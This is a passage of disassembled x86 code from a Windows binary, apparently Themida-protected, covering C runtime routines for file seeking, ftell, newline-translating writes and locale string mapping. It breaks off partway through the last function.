var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 88h
push 0
mov eax, [ebp+arg_0]
push eax
call sub_417070
add esp, 0Ch
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42527A
xor eax, eax
jmp loc_4253A9
; ---------------------------------------------------------------------------
loc_42527A: ; CODE XREF: sub_425250+21j
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_4252B0
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
test eax, eax
jz short loc_4252B0
mov ecx, [ebp+arg_4]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_4184C0
add esp, 8
xor eax, eax
jmp loc_4253A9
; ---------------------------------------------------------------------------
loc_4252B0: ; CODE XREF: sub_425250+33j
; sub_425250+3Ej
mov [ebp+var_4], 0
jmp short loc_4252C2
; ---------------------------------------------------------------------------
loc_4252B9: ; CODE XREF: sub_425250+152j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4252C2: ; CODE XREF: sub_425250+67j
push offset a___0 ; "_.,"
mov ecx, [ebp+arg_4]
push ecx
call sub_42BD90
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4252E4
or eax, 0FFFFFFFFh
jmp loc_4253A9
; ---------------------------------------------------------------------------
loc_4252E4: ; CODE XREF: sub_425250+8Aj
mov edx, [ebp+arg_4]
add edx, [ebp+var_C]
mov al, [edx]
mov [ebp+var_8], al
cmp [ebp+var_4], 0
jnz short loc_42531A
cmp [ebp+var_C], 40h
jge short loc_42531A
movsx ecx, [ebp+var_8]
cmp ecx, 2Eh
jz short loc_42531A
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_417770
add esp, 0Ch
jmp short loc_425380
; ---------------------------------------------------------------------------
loc_42531A: ; CODE XREF: sub_425250+A3j
; sub_425250+A9j ...
cmp [ebp+var_4], 1
jnz short loc_425348
cmp [ebp+var_C], 40h
jge short loc_425348
movsx edx, [ebp+var_8]
cmp edx, 5Fh
jz short loc_425348
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
call sub_417770
loc_425343: ; DATA XREF: ___:00444CF4o
add esp, 0Ch
jmp short loc_425380
; ---------------------------------------------------------------------------
loc_425348: ; CODE XREF: sub_425250+CEj
; sub_425250+D4j ...
cmp [ebp+var_4], 2
jnz short loc_42537B
movsx eax, [ebp+var_8]
test eax, eax
jz short loc_42535F
movsx ecx, [ebp+var_8]
cmp ecx, 2Ch
jnz short loc_42537B
loc_42535F: ; CODE XREF: sub_425250+104j
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 80h
push ecx
call sub_417770
add esp, 0Ch
jmp short loc_425380
; ---------------------------------------------------------------------------
loc_42537B: ; CODE XREF: sub_425250+FCj
; sub_425250+10Dj
or eax, 0FFFFFFFFh
jmp short loc_4253A9
; ---------------------------------------------------------------------------
loc_425380: ; CODE XREF: sub_425250+C8j
; sub_425250+F6j ...
movsx edx, [ebp+var_8]
cmp edx, 2Ch
jnz short loc_42538B
jmp short loc_4253A7
; ---------------------------------------------------------------------------
loc_42538B: ; CODE XREF: sub_425250+137j
movsx eax, [ebp+var_8]
test eax, eax
jnz short loc_425395
jmp short loc_4253A7
; ---------------------------------------------------------------------------
loc_425395: ; CODE XREF: sub_425250+141j
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
lea eax, [edx+ecx+1]
mov [ebp+arg_4], eax
jmp loc_4252B9
; ---------------------------------------------------------------------------
loc_4253A7: ; CODE XREF: sub_425250+139j
; sub_425250+143j
xor eax, eax
loc_4253A9: ; CODE XREF: sub_425250+25j
; sub_425250+5Bj ...
mov esp, ebp
pop ebp
retn
sub_425250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4253B0 proc near ; CODE XREF: sub_425060+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4184C0
add esp, 8
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+40h]
test eax, eax
jz short loc_4253E8
mov ecx, [ebp+arg_4]
add ecx, 40h
push ecx
push offset a__2 ; "_"
push 2
mov edx, [ebp+arg_0]
push edx
call sub_425200
add esp, 10h
loc_4253E8: ; CODE XREF: sub_4253B0+1Cj
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+80h]
test ecx, ecx
jz short loc_425413
mov edx, [ebp+arg_4]
add edx, 80h
push edx
push offset a__1 ; "."
push 2
mov eax, [ebp+arg_0]
push eax
call sub_425200
add esp, 10h
loc_425413: ; CODE XREF: sub_4253B0+44j
pop ebp
retn
sub_4253B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425420 proc near ; CODE XREF: sub_419FE0+10Ep
; sub_41E730+216p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jnb short loc_425451
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
loc_42544F: ; DATA XREF: ___:00444CE4o
jnz short loc_42546C
loc_425451: ; CODE XREF: sub_425420+Dj
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42549E
; ---------------------------------------------------------------------------
loc_42546C: ; CODE XREF: sub_425420:loc_42544Fj
mov edx, [ebp+arg_0]
push edx
call sub_427BE0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4254B0
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_427C70
add esp, 4
mov eax, [ebp+var_4]
loc_42549E: ; CODE XREF: sub_425420+4Aj
mov esp, ebp
pop ebp
retn
sub_425420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254B0 proc near ; CODE XREF: sub_41DDD0+40Dp
; sub_425420+64p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_427A60
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_4254DE
call sub_420520
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_42555E
; ---------------------------------------------------------------------------
loc_4254DE: ; CODE XREF: sub_4254B0+19j
mov ecx, [ebp+arg_8]
push ecx
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_C]
push eax
nop
call near ptr 27A0000h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_425506
call near ptr 26908EFh
nop
mov [ebp+var_4], eax
jmp short loc_42550D
; ---------------------------------------------------------------------------
loc_425506: ; CODE XREF: sub_4254B0+49j
mov [ebp+var_4], 0
loc_42550D: ; CODE XREF: sub_4254B0+54j
cmp [ebp+var_4], 0
jz short loc_425524
mov ecx, [ebp+var_4]
push ecx
call sub_420480
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42555E
; ---------------------------------------------------------------------------
loc_425524: ; CODE XREF: sub_4254B0+61j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DB460[edx*4]
mov dl, [ecx+eax+4]
and dl, 0FDh
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, dword_4DB460[eax*4]
mov [eax+ecx+4], dl
mov eax, [ebp+var_8]
loc_42555E: ; CODE XREF: sub_4254B0+29j
; sub_4254B0+72j
mov esp, ebp
pop ebp
retn
sub_4254B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_425577: ; CODE XREF: ___:0042559Fj
cmp dword ptr [ebp+8], 0
jnz short loc_42559B
push offset dword_4334A4
push 0
push 32h
push offset aFtell_c ; "ftell.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_42559B
int 3 ; Trap to Debugger
loc_42559B: ; CODE XREF: ___:0042557Bj
; ___:00425598j
xor eax, eax
test eax, eax
jnz short loc_425577
mov ecx, [ebp+8]
push ecx
call sub_418E90
add esp, 4
mov edx, [ebp+8]
push edx
call sub_4255E0
add esp, 4
mov [ebp-4], eax
mov eax, [ebp+8]
push eax
call sub_418F00
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4255E0 proc near ; CODE XREF: sub_419FE0+87p
; ___:004255B1p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
loc_4255E9: ; CODE XREF: sub_4255E0+31j
cmp [ebp+arg_0], 0
jnz short loc_42560D
push offset dword_4334B4
push 0
push 63h
push offset aFtell_c ; "ftell.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_42560D
int 3 ; Trap to Debugger
loc_42560D: ; CODE XREF: sub_4255E0+Dj
; sub_4255E0+2Aj
xor eax, eax
test eax, eax
jnz short loc_4255E9
mov ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov eax, [edx+10h]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jge short loc_425635
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
loc_425635: ; CODE XREF: sub_4255E0+49j
push 1
push 0
mov eax, [ebp+var_8]
push eax
call sub_425420
add esp, 0Ch
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jge short loc_425656
or eax, 0FFFFFFFFh
jmp loc_425873
; ---------------------------------------------------------------------------
loc_425656: ; CODE XREF: sub_4255E0+6Cj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jnz short loc_425676
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
sub ecx, [eax+4]
mov eax, ecx
jmp loc_425873
; ---------------------------------------------------------------------------
loc_425676: ; CODE XREF: sub_4255E0+84j
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 3
test eax, eax
jz short loc_4256EC
mov ecx, [ebp+var_8]
sar ecx, 5
mov edx, [ebp+var_8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz short loc_4256EA
mov edx, [ebp+var_C]
mov eax, [edx+8]
mov [ebp+var_4], eax
jmp short loc_4256CA
; ---------------------------------------------------------------------------
loc_4256C1: ; CODE XREF: sub_4255E0:loc_4256E8j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4256CA: ; CODE XREF: sub_4255E0+DFj
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
cmp eax, [edx]
jnb short loc_4256EA
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_4256E8
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
loc_4256E8: ; CODE XREF: sub_4255E0+FDj
jmp short loc_4256C1
; ---------------------------------------------------------------------------
loc_4256EA: ; CODE XREF: sub_4255E0+D4j
; sub_4255E0+F2j
jmp short loc_42570F
; ---------------------------------------------------------------------------
loc_4256EC: ; CODE XREF: sub_4255E0+AFj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jnz short loc_42570F
call sub_420520
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_425873
; ---------------------------------------------------------------------------
loc_42570F: ; CODE XREF: sub_4255E0:loc_4256EAj
; sub_4255E0+11Aj
cmp [ebp+var_1C], 0
jnz short loc_42571D
mov eax, [ebp+var_18]
jmp loc_425873
; ---------------------------------------------------------------------------
loc_42571D: ; CODE XREF: sub_4255E0+133j
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz loc_42586D
mov edx, [ebp+var_C]
cmp dword ptr [edx+4], 0
jnz short loc_425743
mov [ebp+var_18], 0
jmp loc_42586D
; ---------------------------------------------------------------------------
loc_425743: ; CODE XREF: sub_4255E0+155j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_C]
mov edx, [eax]
sub edx, [ecx+8]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
add ecx, edx
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
sar edx, 5
mov eax, [ebp+var_8]
and eax, 1Fh
imul eax, 24h
loc_425768: ; DATA XREF: Themida_:0055BE25o
mov ecx, dword_4DB460[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 80h
test edx, edx
jz loc_425864
push 2
push 0
mov eax, [ebp+var_8]
push eax
call sub_425420
add esp, 0Ch
cmp eax, [ebp+var_1C]
jnz short loc_4257F0
mov ecx, [ebp+var_C]
mov edx, [ecx+8]
add edx, [ebp+var_10]
mov [ebp+var_14], edx
mov eax, [ebp+var_C]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
jmp short loc_4257B7
; ---------------------------------------------------------------------------
loc_4257AE: ; CODE XREF: sub_4255E0:loc_4257D3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4257B7: ; CODE XREF: sub_4255E0+1CCj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_14]
jnb short loc_4257D5
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_4257D3
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_4257D3: ; CODE XREF: sub_4255E0+1E8j
jmp short loc_4257AE
; ---------------------------------------------------------------------------
loc_4257D5: ; CODE XREF: sub_4255E0+1DDj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 2000h
test edx, edx
jz short loc_4257EE
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_4257EE: ; CODE XREF: sub_4255E0+203j
jmp short loc_425864
; ---------------------------------------------------------------------------
loc_4257F0: ; CODE XREF: sub_4255E0+1B5j
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_425420
add esp, 0Ch
cmp [ebp+var_10], 200h
ja short loc_425830
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_425830
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 400h
test eax, eax
jnz short loc_425830
mov [ebp+var_10], 200h
jmp short loc_425839
; ---------------------------------------------------------------------------
loc_425830: ; CODE XREF: sub_4255E0+229j
; sub_4255E0+236j ...
mov ecx, [ebp+var_C]
mov edx, [ecx+18h]
mov [ebp+var_10], edx
loc_425839: ; CODE XREF: sub_4255E0+24Ej
mov eax, [ebp+var_8]
sar eax, 5
mov ecx, [ebp+var_8]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 4
test eax, eax
jz short loc_425864
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_425864: ; CODE XREF: sub_4255E0+19Cj
; sub_4255E0:loc_4257EEj ...
mov edx, [ebp+var_1C]
sub edx, [ebp+var_10]
mov [ebp+var_1C], edx
loc_42586D: ; CODE XREF: sub_4255E0+148j
; sub_4255E0+15Ej
mov eax, [ebp+var_1C]
add eax, [ebp+var_18]
loc_425873: ; CODE XREF: sub_4255E0+71j
; sub_4255E0+91j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4255E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425880 proc near ; CODE XREF: sub_41A150+147p
; sub_41B420+57p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jnb short loc_4258B1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_4258CC
loc_4258B1: ; CODE XREF: sub_425880+Dj
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_4258FE
; ---------------------------------------------------------------------------
loc_4258CC: ; CODE XREF: sub_425880+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_427BE0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_425910
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_427C70
add esp, 4
mov eax, [ebp+var_4]
loc_4258FE: ; CODE XREF: sub_425880+4Aj
mov esp, ebp
pop ebp
retn
sub_425880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425910 proc near ; CODE XREF: sub_425880+64p
; sub_42CE20+145p
var_420 = dword ptr -420h
var_41C = byte ptr -41Ch
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 420h
mov [ebp+var_10], 0
mov eax, [ebp+var_10]
mov [ebp+var_420], eax
cmp [ebp+arg_8], 0
jnz short loc_425936
xor eax, eax
jmp loc_425B7F
; ---------------------------------------------------------------------------
loc_425936: ; CODE XREF: sub_425910+1Dj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 20h
test ecx, ecx
jz short loc_425968
push 2
push 0
mov edx, [ebp+arg_0]
push edx
call sub_4254B0
add esp, 0Ch
loc_425968: ; CODE XREF: sub_425910+46j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
test eax, eax
jz loc_425A9C
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov [ebp+var_C], 0
loc_42599D: ; CODE XREF: sub_425910:loc_425A95j
mov edx, [ebp+var_4]
sub edx, [ebp+arg_4]
cmp edx, [ebp+arg_8]
jnb loc_425A9A
lea eax, [ebp+var_414]
mov [ebp+var_8], eax
loc_4259B5: ; CODE XREF: sub_425910+115j
mov ecx, [ebp+var_8]
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jge short loc_425A27
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jnb short loc_425A27
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_41C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
movsx ecx, [ebp+var_41C]
cmp ecx, 0Ah
jnz short loc_425A11
mov edx, [ebp+var_420]
add edx, 1
mov [ebp+var_420], edx
mov eax, [ebp+var_8]
mov byte ptr [eax], 0Dh
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_425A11: ; CODE XREF: sub_425910+E1j
mov edx, [ebp+var_8]
mov al, [ebp+var_41C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
jmp short loc_4259B5
; ---------------------------------------------------------------------------
loc_425A27: ; CODE XREF: sub_425910+B6j
; sub_425910+C1j
push 0
lea edx, [ebp+var_418]
push edx
mov eax, [ebp+var_8]
lea ecx, [ebp+var_414]
sub eax, ecx
push eax
lea edx, [ebp+var_414]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov eax, [edx+ecx]
push eax
nop
call near ptr 2720000h
test eax, eax
jz short loc_425A8A
mov ecx, [ebp+var_10]
add ecx, [ebp+var_418]
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
lea eax, [ebp+var_414]
sub edx, eax
cmp [ebp+var_418], edx
jge short loc_425A88
jmp short loc_425A9A
; ---------------------------------------------------------------------------
loc_425A88: ; CODE XREF: sub_425910+174j
jmp short loc_425A95
; ---------------------------------------------------------------------------
loc_425A8A: ; CODE XREF: sub_425910+155j
nop
call near ptr 26908EFh
mov [ebp+var_C], eax
jmp short loc_425A9A
; ---------------------------------------------------------------------------
loc_425A95: ; CODE XREF: sub_425910:loc_425A88j
jmp loc_42599D
; ---------------------------------------------------------------------------
loc_425A9A: ; CODE XREF: sub_425910+96j
; sub_425910+176j ...
jmp short loc_425AEC
; ---------------------------------------------------------------------------
loc_425A9C: ; CODE XREF: sub_425910+7Aj
push 0
lea ecx, [ebp+var_418]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
mov ecx, [eax+edx]
push ecx
nop
call near ptr 2720000h
test eax, eax
jz short loc_425AE3
mov [ebp+var_C], 0
mov edx, [ebp+var_418]
mov [ebp+var_10], edx
jmp short loc_425AEC
; ---------------------------------------------------------------------------
loc_425AE3: ; CODE XREF: sub_425910+1BFj
nop
call near ptr 26908EFh
mov [ebp+var_C], eax
loc_425AEC: ; CODE XREF: sub_425910:loc_425A9Aj
; sub_425910+1D1j
cmp [ebp+var_10], 0
jnz loc_425B76
cmp [ebp+var_C], 0
jz short loc_425B2A
cmp [ebp+var_C], 5
jnz short loc_425B19
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov ecx, [ebp+var_C]
mov [eax], ecx
jmp short loc_425B25
; ---------------------------------------------------------------------------
loc_425B19: ; CODE XREF: sub_425910+1F0j
mov edx, [ebp+var_C]
push edx
call sub_420480
add esp, 4
loc_425B25: ; CODE XREF: sub_425910+207j
or eax, 0FFFFFFFFh
jmp short loc_425B7F
; ---------------------------------------------------------------------------
loc_425B2A: ; CODE XREF: sub_425910+1EAj
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 40h
test eax, eax
jz short loc_425B5B
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
cmp edx, 1Ah
jnz short loc_425B5B
xor eax, eax
jmp short loc_425B7F
; ---------------------------------------------------------------------------
loc_425B5B: ; CODE XREF: sub_425910+23Aj
; sub_425910+245j
call sub_420520
mov dword ptr [eax], 1Ch
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_425B7F
; ---------------------------------------------------------------------------
loc_425B76: ; CODE XREF: sub_425910+1E0j
mov eax, [ebp+var_10]
sub eax, [ebp+var_420]
loc_425B7F: ; CODE XREF: sub_425910+21j
; sub_425910+218j ...
mov esp, ebp
pop ebp
retn
sub_425910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425B90 proc near ; CODE XREF: sub_41A6D0+EBp
; sub_41FFF0+121p ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434268
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DB1D0, 0
jnz short loc_425C16
push 0
push 0
push 1
push offset dword_434260
push 100h
push 0
nop
call near ptr 28E0000h
test eax, eax
jz short loc_425BE7
mov dword_4DB1D0, 1
jmp short loc_425C16
; ---------------------------------------------------------------------------
loc_425BE7: ; CODE XREF: sub_425B90+49j
push 0
push 0
push 1
push offset dword_43425C
push 100h
push 0
nop
call near ptr 28D0000h
test eax, eax
jz short loc_425C0F
mov dword_4DB1D0, 2
jmp short loc_425C16
; ---------------------------------------------------------------------------
loc_425C0F: ; CODE XREF: sub_425B90+71j
xor eax, eax
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425C16: ; CODE XREF: sub_425B90+2Dj
; sub_425B90+55j ...
cmp [ebp+arg_C], 0
jle short loc_425C2F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_425EA0
add esp, 8
mov [ebp+arg_C], eax
loc_425C2F: ; CODE XREF: sub_425B90+8Aj
cmp dword_4DB1D0, 2
jnz short loc_425C5B
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call near ptr 28D0000h
nop
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425C5B: ; CODE XREF: sub_425B90+A6j
cmp dword_4DB1D0, 1
jnz loc_425E7F
cmp [ebp+arg_18], 0
jnz short loc_425C77
mov edx, dword_4DB1C8
mov [ebp+arg_18], edx
loc_425C77: ; CODE XREF: sub_425B90+DCj
push 0
push 0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_1C]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_18]
push eax
nop
call near ptr 2810000h
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_425CAB
xor eax, eax
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425CAB: ; CODE XREF: sub_425B90+112j
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_425CED
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_425CED: ; CODE XREF: sub_425B90+144j
cmp [ebp+var_24], 0
jnz short loc_425CFA
xor eax, eax
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425CFA: ; CODE XREF: sub_425B90+161j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
nop
call near ptr 2810000h
test eax, eax
jnz short loc_425D21
xor eax, eax
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425D21: ; CODE XREF: sub_425B90+188j
push 0
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
nop
call near ptr 28E0000h
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_425D4B
xor eax, eax
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425D4B: ; CODE XREF: sub_425B90+1B2j
mov edx, [ebp+arg_4]
and edx, 400h
test edx, edx
jz short loc_425D9B
cmp [ebp+arg_14], 0
